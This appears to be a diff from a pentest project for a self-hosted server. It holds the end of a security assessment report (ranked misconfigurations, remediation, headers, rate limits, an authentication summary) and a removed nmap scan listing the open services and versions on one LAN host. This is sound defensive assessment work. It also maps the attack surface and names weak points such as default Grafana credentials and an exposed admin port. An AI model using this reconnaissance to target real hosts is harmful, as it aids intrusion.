### Rank 5: Nginx Proxy Manager Direct Access (HIGH)
|
||||
|
||||
- **What:** Port 81 serves NPM admin interface directly on LAN with `setup: false` status
|
||||
- **Why it's concerning:** NPM controls all reverse proxy rules. If the "setup" state allows initial admin creation by anyone, an attacker could take over routing. Even with auth, direct port access bypasses the main nginx security headers.
|
||||
- **Category:** Security Misconfiguration (OWASP A05:2021)
|
||||
- **Remediation:** Restrict port 81 to localhost. Only expose NPM through the authenticated `/app/nginx-proxy-manager/` proxy path.
|
||||
|
||||
### Rank 6: Service Ports Directly Accessible on LAN (MEDIUM)
|
||||
|
||||
- **What:** Ports 3000, 3001, 7777, 8080, 8334, 9000 are directly accessible, bypassing the main nginx proxy and its security headers/CSP/CORS
|
||||
- **Why it's concerning:** Each service has its own (potentially weaker) authentication. Direct access bypasses rate limiting, security headers, and session validation at the nginx layer.
|
||||
- **Category:** Security Misconfiguration (OWASP A05:2021)
|
||||
- **Remediation:** Bind container ports to `127.0.0.1` or Podman bridge network only. All external access should flow through the nginx proxy on port 80/443.
|
||||
|
||||
### Rank 7: RPC Input Injection Surface (MEDIUM)
|
||||
|
||||
- **What:** 150+ RPC methods accept JSON parameters that control container operations, system commands, network config, file operations, and Bitcoin transactions
|
||||
- **Why it's concerning:** Methods like `container-install` (image name → Podman), `network.configure-dns` (DNS servers), `webhook.configure` (arbitrary URL callbacks), `package.install` (marketplace URL fetch) all accept user-controlled strings that interact with system commands or external services.
|
||||
- **Category:** Injection (OWASP A03:2021), SSRF (OWASP A10:2021)
|
||||
- **Remediation:** Audit each method for proper input sanitization. Especially: container image names (prevent registry confusion), webhook URLs (prevent SSRF), DNS servers (prevent DNS rebinding), marketplace URLs (prevent SSRF).
|
||||
|
||||
### Rank 8: CSP `unsafe-inline` + Broad `connect-src` (MEDIUM)
|
||||
|
||||
- **What:** CSP allows inline scripts and connections to any port on the host or any HTTPS endpoint
|
||||
- **Why it's concerning:** If any XSS vector exists (e.g., in app iframe content, reflected parameters, or injected HTML), the attacker can execute arbitrary JavaScript and exfiltrate data to external servers or interact with all local services.
|
||||
- **Category:** XSS / Security Misconfiguration (OWASP A03/A05:2021)
|
||||
- **Remediation:** Migrate to nonce-based CSP. Restrict `connect-src` to specific required ports/domains.
|
||||
|
||||
---
|
||||
|
||||
## Appendix: Security Headers (Full)
|
||||
|
||||
```http
|
||||
X-Content-Type-Options: nosniff
|
||||
X-Frame-Options: SAMEORIGIN
|
||||
Referrer-Policy: strict-origin-when-cross-origin
|
||||
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()
|
||||
Strict-Transport-Security: max-age=31536000; includeSubDomains
|
||||
X-DNS-Prefetch-Control: off
|
||||
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
|
||||
style-src 'self' 'unsafe-inline'; img-src 'self' data: blob:;
|
||||
font-src 'self' data:; connect-src 'self' ws: wss: http://192.168.1.228:* https:;
|
||||
frame-src 'self' http://192.168.1.228:* https:; frame-ancestors 'self';
|
||||
base-uri 'self'; form-action 'self';
|
||||
Server: nginx/1.22.1
|
||||
```
|
||||
|
||||
## Appendix: Rate Limiting Configuration
|
||||
|
||||
| Layer | Target | Rate | Burst |
|
||||
|-------|--------|------|-------|
|
||||
| Nginx | `/rpc/` | 20 req/s | 40 |
|
||||
| Backend | `auth.login` | 5 per 60s per IP | — |
|
||||
| Backend | Financial ops (send, pay) | 5-10 per 300s | — |
|
||||
| Backend | Auth changes (password, TOTP) | 3 per 300s | — |
|
||||
| Backend | Container ops | 5 per 300s | — |
|
||||
| Backend | Federation join | 5 per 60s | — |
|
||||
|
||||
## Appendix: Authentication Summary
|
||||
|
||||
| What's Good | What Needs Work |
|
||||
|-------------|-----------------|
|
||||
| Bcrypt cost 12 for passwords | `/lnd-connect-info` unauthenticated |
|
||||
| Argon2id for TOTP key derivation | Bitcoin RPC hardcoded creds |
|
||||
| ChaCha20-Poly1305 for TOTP secret encryption | Grafana default admin:admin |
|
||||
| 256-bit random session tokens | Service ports directly accessible |
|
||||
| HttpOnly + SameSite=Strict cookies | CSP unsafe-inline |
|
||||
| Rate limiting on login (5/min) | NPM port 81 open on LAN |
|
||||
| CORS origin validation | connect-src too permissive |
|
||||
| Session rotation on password change | Initial password only 8 chars |
|
||||
| TOTP replay protection | Error messages confirm account existence |
|
||||
| AES-256-GCM secrets at rest | Rate limiter enforcement unclear for some methods |
|
||||
@@ -1,659 +0,0 @@
|
||||
# Nmap 7.98 scan initiated Wed Mar 18 11:29:44 2026 as: nmap -sV -sC --top-ports 1000 -oN /Users/dorian/Projects/archy/loop/pentest/recon/nmap.txt 192.168.1.228
|
||||
Nmap scan report for 192.168.1.228
|
||||
Host is up (0.0030s latency).
|
||||
Not shown: 980 closed tcp ports (conn-refused)
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
|
||||
| ssh-hostkey:
|
||||
| 256 60:1f:1b:cb:db:5d:25:bf:35:37:9e:22:4c:c1:75:d5 (ECDSA)
|
||||
|_ 256 1e:3f:6a:b7:4b:e2:d8:8b:ee:34:a4:fd:3b:e3:b7:44 (ED25519)
|
||||
80/tcp open http nginx 1.22.1
|
||||
|_http-server-header: nginx/1.22.1
|
||||
|_http-title: Archipelago OS
|
||||
81/tcp open http OpenResty web app server
|
||||
|_http-title: Nginx Proxy Manager
|
||||
|_http-server-header: openresty
|
||||
443/tcp open ssl/http nginx 1.22.1
|
||||
| ssl-cert: Subject: commonName=archipelago.local/organizationName=Archipelago/countryName=US
|
||||
| Subject Alternative Name: DNS:archipelago.local, DNS:localhost, IP Address:127.0.0.1, IP Address:192.168.1.228, IP Address:192.168.1.198, IP Address:10.0.0.1
|
||||
| Not valid before: 2026-02-17T21:33:45
|
||||
|_Not valid after: 2027-02-17T21:33:45
|
||||
|_http-title: Archipelago OS
|
||||
|_ssl-date: TLS randomness does not represent time
|
||||
|_http-server-header: nginx/1.22.1
|
||||
3000/tcp open http Grafana http
|
||||
|_http-trane-info: Problem with XML parsing of /evox/about
|
||||
| http-robots.txt: 1 disallowed entry
|
||||
|_/
|
||||
| http-title: Grafana
|
||||
|_Requested resource was /login
|
||||
3001/tcp open nessus?
|
||||
| fingerprint-strings:
|
||||
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, Kerberos, NCP, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe:
|
||||
| HTTP/1.1 400 Bad Request
|
||||
| Connection: close
|
||||
| FourOhFourRequest:
|
||||
| HTTP/1.1 200 OK
|
||||
| X-Frame-Options: SAMEORIGIN
|
||||
| Content-Type: text/html; charset=utf-8
|
||||
| Content-Length: 2444
|
||||
| ETag: W/"98c-RxUaxZHFr+/FSabMqXO58T7mz+U"
|
||||
| Date: Wed, 18 Mar 2026 11:29:58 GMT
|
||||
| Connection: close
|
||||
| <!DOCTYPE html>
|
||||
| <html lang="en">
|
||||
| <head>
|
||||
| <meta charset="UTF-8" />
|
||||
| <meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover" />
|
||||
| <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
|
||||
| <link rel="icon" type="image/svg+xml" href="/icon.svg" />
|
||||
| <link rel="manifest" href="/manifest.json" />
|
||||
| <meta name="theme-color" id="theme-color" content="" />
|
||||
| <meta name="description" content="Uptime Kuma monitoring tool" />
|
||||
| <title>Uptime Kuma</title>
|
||||
| <style> .noscript-message {
|
||||
| font-size: 20px;
|
||||
| text-align: center;
|
||||
| padding: 10px;
|
||||
| max-width: 500px;
|
||||
| marg
|
||||
| GetRequest:
|
||||
| HTTP/1.1 302 Found
|
||||
| X-Frame-Options: SAMEORIGIN
|
||||
| Location: /dashboard
|
||||
| Vary: Accept
|
||||
| Content-Type: text/plain; charset=utf-8
|
||||
| Content-Length: 32
|
||||
| Date: Wed, 18 Mar 2026 11:29:56 GMT
|
||||
| Connection: close
|
||||
| Found. Redirecting to /dashboard
|
||||
| HTTPOptions, RTSPRequest:
|
||||
| HTTP/1.1 200 OK
|
||||
| X-Frame-Options: SAMEORIGIN
|
||||
| Vary: Accept-Encoding
|
||||
| Allow: GET,HEAD
|
||||
| Content-Type: text/html; charset=utf-8
|
||||
| Content-Length: 8
|
||||
| ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
|
||||
| Date: Wed, 18 Mar 2026 11:29:56 GMT
|
||||
| Connection: close
|
||||
|_ GET,HEAD
|
||||
5678/tcp open rrac?
|
||||
| fingerprint-strings:
|
||||
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest:
|
||||
| HTTP/1.1 400 Bad Request
|
||||
| content-length: 0
|
||||
| date: Wed, 18 Mar 2026 11:29:56 GMT
|
||||
| FourOhFourRequest:
|
||||
| HTTP/1.0 404 Not Found
|
||||
| content-length: 9
|
||||
| date: Wed, 18 Mar 2026 11:29:58 GMT
|
||||
| Found
|
||||
| GetRequest:
|
||||
| HTTP/1.0 404 Not Found
|
||||
| content-length: 9
|
||||
| date: Wed, 18 Mar 2026 11:29:56 GMT
|
||||
| Found
|
||||
| HTTPOptions:
|
||||
| HTTP/1.0 204 No Content
|
||||
| vary: Origin
|
||||
| date: Wed, 18 Mar 2026 11:29:56 GMT
|
||||
| Kerberos, SMBProgNeg, SSLSessionReq, TerminalServerCookie, X11Probe:
|
||||
| HTTP/1.1 400 Bad Request
|
||||
| content-length: 0
|
||||
| date: Wed, 18 Mar 2026 11:29:58 GMT
|
||||
| TLSSessionReq:
|
||||
| HTTP/1.1 400 Bad Request
|
||||
| content-length: 0
|
||||
|_ date: Wed, 18 Mar 2026 11:29:57 GMT
|
||||
7777/tcp open http nginx 1.29.6
|
||||
|_http-server-header: nginx/1.29.6
|
||||
|_http-title: IndeedHub - Decentralized Media Streaming
|
||||
8080/tcp open ssl/http Golang net/http server
|
||||
| ssl-cert: Subject: commonName=archipelago/organizationName=lnd autogenerated cert
|
||||
| Subject Alternative Name: DNS:archipelago, DNS:localhost, DNS:unix, DNS:unixpacket, DNS:bufconn, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1, IP Address:192.168.1.228, IP Address:10.88.0.1, IP Address:2A00:23C5:E31:A001:572F:29BF:5A00:2D46, IP Address:FE80:0:0:0:4A3A:E6DF:E0F8:DDAB, IP Address:FE80:0:0:0:D8CB:E8FF:FEAD:7A0C, IP Address:FE80:0:0:0:606A:44FF:FEA8:AC1A, IP Address:FE80:0:0:0:DC96:1DFF:FE05:62BF, IP Address:FE80:0:0:0:2868:B4FF:FEA9:A263
|
||||
| Not valid before: 2026-02-02T21:52:55
|
||||
|_Not valid after: 2027-03-30T21:52:55
|
||||
|_http-title: Site doesn't have a title (application/json).
|
||||
| fingerprint-strings:
|
||||
| FourOhFourRequest:
|
||||
| HTTP/1.0 404 Not Found
|
||||
| Content-Type: application/json
|
||||
| Date: Wed, 18 Mar 2026 11:30:18 GMT
|
||||
| Content-Length: 45
|
||||
| {"code":5,"message":"Not Found","details":[]}
|
||||
| GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
|
||||
| HTTP/1.1 400 Bad Request
|
||||
| Content-Type: text/plain; charset=utf-8
|
||||
| Connection: close
|
||||
| Request
|
||||
| GetRequest, HTTPOptions:
|
||||
| HTTP/1.0 404 Not Found
|
||||
| Content-Type: application/json
|
||||
| Date: Wed, 18 Mar 2026 11:30:02 GMT
|
||||
| Content-Length: 45
|
||||
| {"code":5,"message":"Not Found","details":[]}
|
||||
| OfficeScan:
|
||||
| HTTP/1.1 400 Bad Request: missing required Host header
|
||||
| Content-Type: text/plain; charset=utf-8
|
||||
| Connection: close
|
||||
|_ Request: missing required Host header
|
||||
|_ssl-date: TLS randomness does not represent time
|
||||
8081/tcp open hadoop-datanode Apache Hadoop 1.29.6
|
||||
| hadoop-secondary-namenode-info:
|
||||
|_ Logs: glass-button px-3 py-1-5 rounded-lg text-xs font-medium
|
||||
| hadoop-datanode-info:
|
||||
|_ Logs: glass-button px-3 py-1-5 rounded-lg text-xs font-medium
|
||||
|_http-title: LND - Archipelago
|
||||
| hadoop-tasktracker-info:
|
||||
|_ Logs: glass-button px-3 py-1-5 rounded-lg text-xs font-medium
|
||||
8082/tcp open blackice-alerts?
|
||||
| fingerprint-strings:
|
||||
| FourOhFourRequest:
|
||||
| HTTP/1.0 404 Not Found
|
||||
| content-type: text/html; charset=utf-8
|
||||
| server: Rocket
|
||||
| permissions-policy: accelerometer=(), ambient-light-sensor=(), autoplay=(), battery=(), camera=(), display-capture=(), document-domain=(), encrypted-media=(), execution-while-not-rendered=(), execution-while-out-of-viewport=(), fullscreen=(), geolocation=(), gyroscope=(), keyboard-map=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), screen-wake-lock=(), sync-xhr=(), usb=(), web-share=(), xr-spatial-tracking=()
|
||||
| x-frame-options: SAMEORIGIN
|
||||
| x-content-type-options: nosniff
|
||||
| referrer-policy: same-origin
|
||||
| x-xss-protection: 0
|
||||
| content-security-policy: default-src 'self'; base-uri 'self'; form-action 'self'; object-src 'self' blob:; script-src 'self' 'wasm-unsafe-eval'; style-src 'self' 'unsafe-inline'; child-src 'self' https://*.duosecurity.com https://*.duofederal.com; frame-src 'se
|
||||
| GetRequest:
|
||||
| HTTP/1.0 200 OK
|
||||
| content-type: text/html; charset=utf-8
|
||||
| cache-control: public, max-age=600
|
||||
| expires: Wed, 18 Mar 2026 11:39:51 GMT
|
||||
| server: Rocket
|
||||
| permissions-policy: accelerometer=(), ambient-light-sensor=(), autoplay=(), battery=(), camera=(), display-capture=(), document-domain=(), encrypted-media=(), execution-while-not-rendered=(), execution-while-out-of-viewport=(), fullscreen=(), geolocation=(), gyroscope=(), keyboard-map=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), screen-wake-lock=(), sync-xhr=(), usb=(), web-share=(), xr-spatial-tracking=()
|
||||
| x-frame-options: SAMEORIGIN
|
||||
| x-content-type-options: nosniff
|
||||
| referrer-policy: same-origin
|
||||
| x-xss-protection: 0
|
||||
|_ content-security-policy: default-src 'self'; base-uri 'self'; form-action 'self'; object-src 'self' blob:; script-src 'self' 'wasm-unsafe-eval'; style-src 'self' 'unsafe-inline'; child-src 'se
|
||||
8083/tcp open http Golang net/http server
|
||||
|_http-title: File Browser
|
||||
| fingerprint-strings:
|
||||
| FourOhFourRequest, GetRequest:
|
||||
| HTTP/1.0 200 OK
|
||||
| Cache-Control: no-cache, no-store, must-revalidate
|
||||
| Content-Type: text/html; charset=utf-8
|
||||
| X-Xss-Protection: 1; mode=block
|
||||
| Date: Wed, 18 Mar 2026 11:29:51 GMT
|
||||
| <!doctype html>
|
||||
| <html lang="en">
|
||||
| <head>
|
||||
| <meta charset="utf-8" />
|
||||
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
| <meta
|
||||
| name="viewport"
|
||||
| content="width=device-width, initial-scale=1, user-scalable=no"
|
||||
| <title>
|
||||
| File Browser
|
||||
| </title>
|
||||
| <link
|
||||
| rel="icon"
|
||||
| type="image/png"
|
||||
| sizes="32x32"
|
||||
| href="/static/img/icons/favicon-32x32.png"
|
||||
| <link
|
||||
| rel="icon"
|
||||
| type="image/png"
|
||||
| sizes="16x16"
|
||||
| href="/static/img/icons/favicon-16x16.png"
|
||||
| <!-- Add to home screen for Android and modern mobile browsers -->
|
||||
| <link
|
||||
| rel="manifest"
|
||||
| id="manifestPlaceholder"
|
||||
|_ crossorigin="use-credentials"
|
||||
8084/tcp open http OpenResty web app server
|
||||
|_http-server-header: openresty
|
||||
|_http-title: Default Site
|
||||
8085/tcp open http Apache httpd 2.4.62 ((Debian))
|
||||
| http-robots.txt: 1 disallowed entry
|
||||
|_/
|
||||
| http-title: Login \xE2\x80\x93 Nextcloud
|
||||
|_Requested resource was http://192.168.1.228:8085/login
|
||||
|_http-server-header: Apache/2.4.62 (Debian)
|
||||
8333/tcp open bitcoin?
|
||||
| fingerprint-strings:
|
||||
| RPCCheck:
|
||||
| =/@v
|
||||
| HVSI
|
||||
| \x10
|
||||
| d~._
|
||||
| p>Rw*xG
|
||||
| aRV,Q
|
||||
| ta#|
|
||||
| y3<%
|
||||
| |'.xm
|
||||
| ]g8,o
|
||||
| \xbcP
|
||||
| \xd0
|
||||
| 0MF-ID`
|
||||
|_ v[9q
|
||||
8443/tcp open ssl/https-alt openresty
|
||||
|_http-server-header: openresty
|
||||
|_http-title: 400 The plain HTTP request was sent to HTTPS port
|
||||
8888/tcp open sun-answerbook?
|
||||
| fingerprint-strings:
|
||||
| FourOhFourRequest:
|
||||
| HTTP/1.0 404 Not Found
|
||||
| content-type: text/html; charset=utf-8
|
||||
| content-length: 4711
|
||||
| server-timing: total;dur=5.729, render;dur=4.335
|
||||
| x-content-type-options: nosniff
|
||||
| x-download-options: noopen
|
||||
| x-robots-tag: noindex, nofollow
|
||||
| referrer-policy: no-referrer
|
||||
| server: granian
|
||||
| date: Wed, 18 Mar 2026 11:29:51 GMT
|
||||
| <!DOCTYPE html>
|
||||
| <html class="no-js theme-auto center-alignment-no" lang="en-EN" >
|
||||
| <head>
|
||||
| <meta charset="UTF-8">
|
||||
| <meta name="endpoint" content="None">
|
||||
| <meta name="description" content="SearXNG
|
||||
| privacy-respecting, open metasearch engine">
|
||||
| <meta name="keywords" content="SearXNG, search, search engine, metasearch, meta search">
|
||||
| <meta name="generator" content="searxng/2026.2.3+f7a608703">
|
||||
| <meta name="referrer" content="no-referrer">
|
||||
| <meta name="robots" content="noarchive">
|
||||
| <meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
| <title>SearXNG</ti
|
||||
| GetRequest:
|
||||
| HTTP/1.0 200 OK
|
||||
| content-type: text/html; charset=utf-8
|
||||
| content-length: 6292
|
||||
| server-timing: total;dur=176.925, render;dur=154.939
|
||||
| x-content-type-options: nosniff
|
||||
| x-download-options: noopen
|
||||
| x-robots-tag: noindex, nofollow
|
||||
| referrer-policy: no-referrer
|
||||
| server: granian
|
||||
| date: Wed, 18 Mar 2026 11:29:51 GMT
|
||||
| <!DOCTYPE html>
|
||||
| <html class="no-js theme-auto center-alignment-no" lang="en-EN" >
|
||||
| <head>
|
||||
| <meta charset="UTF-8">
|
||||
| <meta name="endpoint" content="index">
|
||||
| <meta name="description" content="SearXNG
|
||||
| privacy-respecting, open metasearch engine">
|
||||
| <meta name="keywords" content="SearXNG, search, search engine, metasearch, meta search">
|
||||
| <meta name="generator" content="searxng/2026.2.3+f7a608703">
|
||||
| <meta name="referrer" content="no-referrer">
|
||||
| <meta name="robots" content="noarchive">
|
||||
| <meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
| <title>SearXNG</titl
|
||||
| HTTPOptions:
|
||||
| HTTP/1.0 200 OK
|
||||
| content-type: text/html; charset=utf-8
|
||||
| allow: GET, POST, OPTIONS, HEAD
|
||||
| server-timing: total;dur=1.056, render;dur=0
|
||||
| x-content-type-options: nosniff
|
||||
| x-download-options: noopen
|
||||
| x-robots-tag: noindex, nofollow
|
||||
| referrer-policy: no-referrer
|
||||
| content-length: 0
|
||||
| server: granian
|
||||
|_ date: Wed, 18 Mar 2026 11:29:51 GMT
|
||||
9000/tcp open http Golang net/http server
|
||||
| fingerprint-strings:
|
||||
| FourOhFourRequest:
|
||||
| HTTP/1.0 404 Not Found
|
||||
| Cache-Control: max-age=31536000
|
||||
| Content-Type: text/plain; charset=utf-8
|
||||
| Vary: Accept-Encoding
|
||||
| X-Content-Type-Options: nosniff
|
||||
| X-Xss-Protection: 1; mode=block
|
||||
| Date: Wed, 18 Mar 2026 11:30:09 GMT
|
||||
| Content-Length: 19
|
||||
| page not found
|
||||
| GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
|
||||
| HTTP/1.1 400 Bad Request
|
||||
| Content-Type: text/plain; charset=utf-8
|
||||
| Connection: close
|
||||
| Request
|
||||
| GetRequest:
|
||||
| HTTP/1.0 307 Temporary Redirect
|
||||
| Content-Type: text/html; charset=utf-8
|
||||
| Location: /timeout.html
|
||||
| Date: Wed, 18 Mar 2026 11:29:51 GMT
|
||||
| Content-Length: 49
|
||||
| href="/timeout.html">Temporary Redirect</a>.
|
||||
| HTTPOptions:
|
||||
| HTTP/1.0 307 Temporary Redirect
|
||||
| Location: /timeout.html
|
||||
| Date: Wed, 18 Mar 2026 11:29:51 GMT
|
||||
| Content-Length: 0
|
||||
| OfficeScan:
|
||||
| HTTP/1.1 400 Bad Request: missing required Host header
|
||||
| Content-Type: text/plain; charset=utf-8
|
||||
| Connection: close
|
||||
|_ Request: missing required Host header
|
||||
| http-title: Portainer
|
||||
|_Requested resource was /timeout.html
|
||||
10009/tcp open ssl/grpc
|
||||
|_ssl-date: TLS randomness does not represent time
|
||||
| ssl-cert: Subject: commonName=archipelago/organizationName=lnd autogenerated cert
|
||||
| Subject Alternative Name: DNS:archipelago, DNS:localhost, DNS:unix, DNS:unixpacket, DNS:bufconn, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1, IP Address:192.168.1.228, IP Address:10.88.0.1, IP Address:2A00:23C5:E31:A001:572F:29BF:5A00:2D46, IP Address:FE80:0:0:0:4A3A:E6DF:E0F8:DDAB, IP Address:FE80:0:0:0:D8CB:E8FF:FEAD:7A0C, IP Address:FE80:0:0:0:606A:44FF:FEA8:AC1A, IP Address:FE80:0:0:0:DC96:1DFF:FE05:62BF, IP Address:FE80:0:0:0:2868:B4FF:FEA9:A263
|
||||
| Not valid before: 2026-02-02T21:52:55
|
||||
|_Not valid after: 2027-03-30T21:52:55
|
||||
50002/tcp open http nginx 1.29.6
|
||||
|_http-title: ElectrumX - Archipelago
|
||||
|_http-server-header: nginx/1.29.6
|
||||
8 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
|
||||
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
|
||||
SF-Port3001-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB0%P=arm-apple-darwin23.6.0%r
|
||||
SF:(NCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n
|
||||
SF:\r\n")%r(GetRequest,EC,"HTTP/1\.1\x20302\x20Found\r\nX-Frame-Options:\x
|
||||
SF:20SAMEORIGIN\r\nLocation:\x20/dashboard\r\nVary:\x20Accept\r\nContent-T
|
||||
SF:ype:\x20text/plain;\x20charset=utf-8\r\nContent-Length:\x2032\r\nDate:\
|
||||
SF:x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\r\nConnection:\x20close
|
||||
SF:\r\n\r\nFound\.\x20Redirecting\x20to\x20/dashboard")%r(HTTPOptions,FC,"
|
||||
SF:HTTP/1\.1\x20200\x20OK\r\nX-Frame-Options:\x20SAMEORIGIN\r\nVary:\x20Ac
|
||||
SF:cept-Encoding\r\nAllow:\x20GET,HEAD\r\nContent-Type:\x20text/html;\x20c
|
||||
SF:harset=utf-8\r\nContent-Length:\x208\r\nETag:\x20W/\"8-ZRAf8oNBS3Bjb/SU
|
||||
SF:2GYZCmbtmXg\"\r\nDate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\
|
||||
SF:r\nConnection:\x20close\r\n\r\nGET,HEAD")%r(RTSPRequest,FC,"HTTP/1\.1\x
|
||||
SF:20200\x20OK\r\nX-Frame-Options:\x20SAMEORIGIN\r\nVary:\x20Accept-Encodi
|
||||
SF:ng\r\nAllow:\x20GET,HEAD\r\nContent-Type:\x20text/html;\x20charset=utf-
|
||||
SF:8\r\nContent-Length:\x208\r\nETag:\x20W/\"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg
|
||||
SF:\"\r\nDate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\r\nConnecti
|
||||
SF:on:\x20close\r\n\r\nGET,HEAD")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x
|
||||
SF:20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F,"
|
||||
SF:HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(
|
||||
SF:DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnectio
|
||||
SF:n:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n
|
||||
SF:Connection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x20
|
||||
SF:Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(TerminalServerCookie
|
||||
SF:,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n
|
||||
SF:")%r(TLSSessionReq,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection
|
||||
SF::\x20close\r\n\r\n")%r(Kerberos,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\
|
||||
SF:r\nConnection:\x20close\r\n\r\n")%r(SMBProgNeg,2F,"HTTP/1\.1\x20400\x20
|
||||
SF:Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(X11Probe,2F,"HTTP/1\
|
||||
SF:.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(FourOhF
|
||||
SF:ourRequest,A5D,"HTTP/1\.1\x20200\x20OK\r\nX-Frame-Options:\x20SAMEORIGI
|
||||
SF:N\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2
|
||||
SF:02444\r\nETag:\x20W/\"98c-RxUaxZHFr\+/FSabMqXO58T7mz\+U\"\r\nDate:\x20W
|
||||
SF:ed,\x2018\x20Mar\x202026\x2011:29:58\x20GMT\r\nConnection:\x20close\r\n
|
||||
SF:\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n\x20\x20\x20\x20
|
||||
SF:<meta\x20charset=\"UTF-8\"\x20/>\n\x20\x20\x20\x20<meta\x20name=\"viewp
|
||||
SF:ort\"\x20content=\"width=device-width,\x20initial-scale=1\.0,\x20viewpo
|
||||
SF:rt-fit=cover\"\x20/>\n\x20\x20\x20\x20<link\x20rel=\"apple-touch-icon\"
|
||||
SF:\x20sizes=\"180x180\"\x20href=\"/apple-touch-icon\.png\">\n\x20\x20\x20
|
||||
SF:\x20<link\x20rel=\"icon\"\x20type=\"image/svg\+xml\"\x20href=\"/icon\.s
|
||||
SF:vg\"\x20/>\n\x20\x20\x20\x20<link\x20rel=\"manifest\"\x20href=\"/manife
|
||||
SF:st\.json\"\x20/>\n\x20\x20\x20\x20<meta\x20name=\"theme-color\"\x20id=\
|
||||
SF:"theme-color\"\x20content=\"\"\x20/>\n\x20\x20\x20\x20<meta\x20name=\"d
|
||||
SF:escription\"\x20content=\"Uptime\x20Kuma\x20monitoring\x20tool\"\x20/>\
|
||||
SF:n\x20\x20\x20\x20<title>Uptime\x20Kuma</title>\n\x20\x20\x20\x20<style>
|
||||
SF:\x20\x20\x20\x20\x20\x20\x20\x20\.noscript-message\x20{\n\x20\x20\x20\x
|
||||
SF:20\x20\x20\x20\x20\x20\x20\x20\x20font-size:\x2020px;\n\x20\x20\x20\x20
|
||||
SF:\x20\x20\x20\x20\x20\x20\x20\x20text-align:\x20center;\n\x20\x20\x20\x2
|
||||
SF:0\x20\x20\x20\x20\x20\x20\x20\x20padding:\x2010px;\n\x20\x20\x20\x20\x2
|
||||
SF:0\x20\x20\x20\x20\x20\x20\x20max-width:\x20500px;\n\x20\x20\x20\x20\x20
|
||||
SF:\x20\x20\x20\x20\x20\x20\x20marg");
|
||||
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
|
||||
SF-Port5678-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB5%P=arm-apple-darwin23.6.0%r
|
||||
SF:(GetRequest,5B,"HTTP/1\.0\x20404\x20Not\x20Found\r\ncontent-length:\x20
|
||||
SF:9\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\r\n\r\nNot\x
|
||||
SF:20Found")%r(HTTPOptions,4E,"HTTP/1\.0\x20204\x20No\x20Content\r\nvary:\
|
||||
SF:x20Origin\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\r\n\
|
||||
SF:r\n")%r(RTSPRequest,54,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-l
|
||||
SF:ength:\x200\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\r\
|
||||
SF:n\r\n")%r(RPCCheck,54,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-le
|
||||
SF:ngth:\x200\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:56\x20GMT\r\n
|
||||
SF:\r\n")%r(DNSVersionBindReqTCP,54,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
|
||||
SF:ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:56
|
||||
SF:\x20GMT\r\n\r\n")%r(DNSStatusRequestTCP,54,"HTTP/1\.1\x20400\x20Bad\x20
|
||||
SF:Request\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x
|
||||
SF:2011:29:56\x20GMT\r\n\r\n")%r(Help,54,"HTTP/1\.1\x20400\x20Bad\x20Reque
|
||||
SF:st\r\ncontent-length:\x200\r\ndate:\x20Wed,\x2018\x20Mar\x202026\x2011:
|
||||
